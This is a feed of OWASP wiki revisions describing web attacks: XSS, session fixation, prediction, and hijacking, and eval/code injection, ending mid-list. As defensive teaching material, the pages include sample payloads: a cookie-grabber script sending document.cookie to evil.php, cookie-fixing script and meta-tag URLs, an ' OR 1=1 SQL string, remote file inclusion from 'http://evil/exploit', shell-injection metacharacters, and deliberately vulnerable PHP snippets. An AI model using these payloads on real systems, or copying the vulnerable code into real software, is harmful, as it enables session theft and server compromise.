As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a &amp;quot;guestbook&amp;quot; to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.&lt;br /&gt;
&lt;br /&gt;
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:&lt;br /&gt;
&lt;br /&gt;
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities. &lt;br /&gt;
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. &lt;br /&gt;
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content. &lt;br /&gt;
&lt;br /&gt;
=== Attack Examples ===&lt;br /&gt;
&lt;br /&gt;
'''Example 1 : Cookie Grabber'''&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;
var adr = '../evil.php?cakemonster=' + escape(document.cookie);&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in &amp;quot;cakemonster&amp;quot; variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.&lt;br /&gt;
&lt;br /&gt;
===Error Page Example===&lt;br /&gt;
&lt;br /&gt;
Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error&lt;br /&gt;
page. We may use the code below as an example to inform user about what specific page is missing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;? php&lt;br /&gt;
print &amp;quot;Not found: &amp;quot; . urldecode($_SERVER[&amp;quot;REQUEST_URI&amp;quot;]);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Let's see how it works:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In response we get:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: /file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now we will try to force the error page to include our code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/&amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The result is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: / (but with JavaScript code &amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We have successfully injected the code, our XSS! What does it mean? For example, that we&lt;br /&gt;
may use this flaw to try to steal a user's session cookie.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[XSS Attacks]]&lt;br /&gt;
* [[:Category:Injection Attack]]&lt;br /&gt;
* [[Invoking untrusted mobile code]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
* [[Cross Site Scripting Flaw]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[HTML Entity Encoding]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]&lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]] &lt;br /&gt;
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml &lt;br /&gt;
* XSS Cheat Sheet: http://ha.ckers.org/xss.html&lt;br /&gt;
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html &lt;br /&gt;
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html &lt;br /&gt;
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html &lt;br /&gt;
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Session_fixation&amp;diff=121168</id>
		<title>Session fixation</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Session_fixation&amp;diff=121168"/>
				<updated>2011-12-06T22:29:31Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Added to subcategory &amp;quot;Exploitation of Authentication&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a limitation in the way the web application manages the session ID, more specifically the vulnerable web application. When authenticating a user, it doesn’t assign a new session ID, making it possible to use an existent session ID. The attack consists of inducing a user to authenticate himself with a known session ID, and then hijacking the user-validated session by the knowledge of the used session ID. The attacker has to provide a legitimate Web application session ID and try to make the victim's browser use it.&lt;br /&gt;
&lt;br /&gt;
The session fixation attack is a class of [[Session hijacking attack|Session Hijacking]], which steals the established session between the client and the Web Server after the user logs in. Instead, the Session Fixation attack fixes an established session on the victim's browser, so the attack starts before the user logs in. &lt;br /&gt;
&lt;br /&gt;
There are several techniques to execute the attack; it depends on how the Web application deals with session tokens. Below are some of the most common techniques:&lt;br /&gt;
&lt;br /&gt;
'''• Session token in the URL argument:'''&lt;br /&gt;
The Session ID is sent to the victim in a hyperlink and the victim accesses the site through the malicious URL.&lt;br /&gt;
&lt;br /&gt;
'''• Session token in a hidden form field:'''&lt;br /&gt;
In this method, the victim must be tricked to authenticate in the target Web Server, using a login form developed for the attacker. The form could be hosted in the evil web server or directly in html formatted e-mail.&lt;br /&gt;
&lt;br /&gt;
'''• Session ID in a cookie:'''&lt;br /&gt;
&lt;br /&gt;
o Client-side script&lt;br /&gt;
&lt;br /&gt;
Most browsers support the execution of client-side scripting. In this case, the aggressor could use attacks of code injection as the [[Cross-site Scripting (XSS)|XSS]] (Cross-site scripting) attack to insert a malicious code in the hyperlink sent to the victim and fix a Session ID in its cookie. Using the function document.cookie, the browser which executes the command becomes capable of fixing values inside of the cookie that it will use to keep a session between the client and the Web Application.&lt;br /&gt;
 &lt;br /&gt;
o &amp;lt;META&amp;gt; tag&lt;br /&gt;
&lt;br /&gt;
&amp;lt;META&amp;gt; tag also is considered a code injection attack, however, different from the XSS attack where undesirable scripts can be disabled, or the execution can be denied. The attack using this method becomes much more efficient because it's impossible to disable the processing of these tags in the browsers.&lt;br /&gt;
&lt;br /&gt;
o HTTP header response&lt;br /&gt;
&lt;br /&gt;
This method explores the server response to fix the Session ID in the victim's browser. Including the parameter Set-Cookie in the HTTP header response, the attacker is able to insert the value of Session ID in the cookie and sends it to the victim's browser.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
===Example 1===&lt;br /&gt;
The example below explains a simple form, the process of the attack, and the expected results.&lt;br /&gt;
&lt;br /&gt;
(1)The attacker has to establish a legitimate connection with the web server which (2) issues a session ID or, the attacker can create a new session with the proposed session ID, then, (3) the attacker has to send a link with the established session ID to the victim, she has to click on the link sent from the attacker accessing the site, (4) the Web Server saw that session was already established and a new one need not to be created, (5) the victim provides his credentials to the Web Server, (6) knowing the session ID, the attacker can access the user's account.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/images/9/9c/Fixation.jpg&lt;br /&gt;
&lt;br /&gt;
Figure 1. Simple example of Session Fixation attack.&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
Client-side scripting&lt;br /&gt;
&lt;br /&gt;
The processes for the attack using the execution of scripts in the victim's browser are very similar to example 1, however, in this case, the Session ID does not appear as an argument of the URL, but inside of the cookie. To fix the value of the Session ID in the victim's cookie, the attacker could insert a JavaScript code in the URL that will be executed in the victim's browser.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; http://website.kom/&amp;lt;script&amp;gt;document.cookie=”sessionid=abcd”;&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
&amp;lt;META&amp;gt; tag&lt;br /&gt;
&lt;br /&gt;
As well as client-side scripting, the code injection must be made in the URL that will be sent to the victim.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://website.kon/&amp;lt;meta http-equiv=Set-Cookie content=”sessionid=abcd”&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
HTTP header response&lt;br /&gt;
&lt;br /&gt;
The insertion of the value of the SessionID into the cookie manipulating the server response can be made, intercepting the packages exchanged between the client and the Web Application inserting the Set-Cookie parameter.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/images/e/ed/Fixation2.jpg&lt;br /&gt;
&lt;br /&gt;
Figure 2. Set-Cookie in the HTTP header response&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[:Category:Authorization]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[XSS Attacks]]&lt;br /&gt;
* [[Session hijacking attack]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Session Management Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[Session Fixation Protection]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://www.acros.si/papers/session_fixation.pdf&lt;br /&gt;
* http://en.wikipedia.org/wiki/Session_fixation&lt;br /&gt;
* http://www.derkeiler.com/pdf/Mailing-Lists/Securiteam/2002-12/0099.pdf&lt;br /&gt;
&lt;br /&gt;
==Categories==&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Session_Prediction&amp;diff=121167</id>
		<title>Session Prediction</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Session_Prediction&amp;diff=121167"/>
				<updated>2011-12-06T22:26:50Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Added to subcategory &amp;quot;Exploitation of Authentication&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The session prediction attack focuses on predicting session ID values that permit an attacker to bypass the authentication schema of an application. By analyzing and understanding the session ID generation process, an attacker can predict a valid session ID value and get access to the application. &lt;br /&gt;
&lt;br /&gt;
In the first step, the attacker needs to collect some valid session ID values that are used to identify authenticated users. Then, he must understand the structure of session ID, the information that is used to create it, and the encryption or hash algorithm used by application to protect it.&lt;br /&gt;
Some bad implementations use sessions IDs composed by username or other predictable information, like timestamp or client IP address. In the worst case, this information is used in clear text or coded using some weak algorithm like base64 encoding.&lt;br /&gt;
&lt;br /&gt;
In addition, the attacker can implement a brute force technique to generate and test different values of session ID until he successfully gets access to the application.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
The session ID information for a certain application is normally composed by a string of fixed width. Randomness is very important to avoid its prediction. &lt;br /&gt;
Looking at the example in Figure 1, the session ID variable is represented by JSESSIONID and its value is “user01”, which corresponds to the username. By trying new values for it, like “user02”, it could be possible to get inside the application without prior authentication. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:Predictable_cookie.JPG]]&lt;br /&gt;
&lt;br /&gt;
Figure 1. Predictable cookie&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==External References==&lt;br /&gt;
&lt;br /&gt;
http://www.iss.net/security_center/advice/Exploits/TCP/session_hijacking/default.htm&lt;br /&gt;
&lt;br /&gt;
http://en.wikipedia.org/wiki/HTTP_cookie&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related Threats==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Authorization]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related Attacks==&lt;br /&gt;
&lt;br /&gt;
* [[Man-in-the-middle attack]]&lt;br /&gt;
* [[Session hijacking attack]]&lt;br /&gt;
* [[Manipulating User Permission Identifier]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related Vulnerabilities==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related Countermeasures==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Session Management Control]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Categories==&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Session_hijacking_attack&amp;diff=121166</id>
		<title>Session hijacking attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Session_hijacking_attack&amp;diff=121166"/>
				<updated>2011-12-06T22:25:42Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Added to subcategory &amp;quot;Exploitation of Authentication&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token. &lt;br /&gt;
&lt;br /&gt;
Because http communication uses many different TCP connections, the web server needs a method to recognize every user’s connections. The most useful method depends on a token that the Web Server sends to the client browser after a successful client authentication. A session token is normally composed of a string of variable width and it could be used in different ways, like in the URL, in the header of the http requisition as a cookie, in other parts of the header of the http request, or yet in the body of the http requisition.&lt;br /&gt;
&lt;br /&gt;
The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.&lt;br /&gt;
&lt;br /&gt;
The session token could be compromised in different ways; the most common are:&lt;br /&gt;
* Predictable session token;&lt;br /&gt;
* Session Sniffing;&lt;br /&gt;
* Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc);&lt;br /&gt;
* [[Man-in-the-middle attack]]&lt;br /&gt;
* [[Man-in-the-browser attack]]&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
====Session Sniffing====&lt;br /&gt;
&lt;br /&gt;
In the example, as we can see, first the attacker uses a sniffer to capture a valid token session called “Session ID”, then he uses the valid token session to gain unauthorized access to the Web Server. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:Session_Hijacking_3.JPG]] &lt;br /&gt;
&lt;br /&gt;
Figure 2. Manipulating the token session executing the session hijacking attack.&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
====Cross-site script attack====&lt;br /&gt;
&lt;br /&gt;
The attacker can compromise the session token by using malicious code or programs running at the client-side. The example shows how the attacker could use an XSS attack to steal the session token. If an attacker sends a crafted link to the victim with the malicious JavaScript, when the victim clicks on the link, the JavaScript will run and complete the instructions made by the attacker.&lt;br /&gt;
The example in figure 3 uses an XSS attack to show the cookie value of the current session; using the same technique it's possible to create a specific JavaScript code that will send the cookie to the attacker.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;alert(document.cookie);&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:Code_Injection.JPG]] &lt;br /&gt;
&lt;br /&gt;
Figure 3. Code injection.&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Other Examples'''&lt;br /&gt;
The following attacks intercept the information exchange between the client and the server:&lt;br /&gt;
* [[Man-in-the-middle attack]]&lt;br /&gt;
* [[Man-in-the-browser attack]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[:Category: Authorization]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Man-in-the-middle attack]]&lt;br /&gt;
* [[Man-in-the-browser attack]]&lt;br /&gt;
* [[Session Prediction]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Session Management]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://www.iss.net/security_center/advice/Exploits/TCP/session_hijacking/default.htm&lt;br /&gt;
* http://en.wikipedia.org/wiki/HTTP_cookie&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=121165</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=121165"/>
				<updated>2011-12-06T22:07:23Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Added attack to Injection subcategory&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists of a script that does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement, which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
[[Category:FIXME|need content here]]&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is an example of [[SQL Injection]]. Consider a web page which has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if a malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is an example of a file that was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrates a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allow software to programmatically execute a Command line. Typical sources of Shell Injection are calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
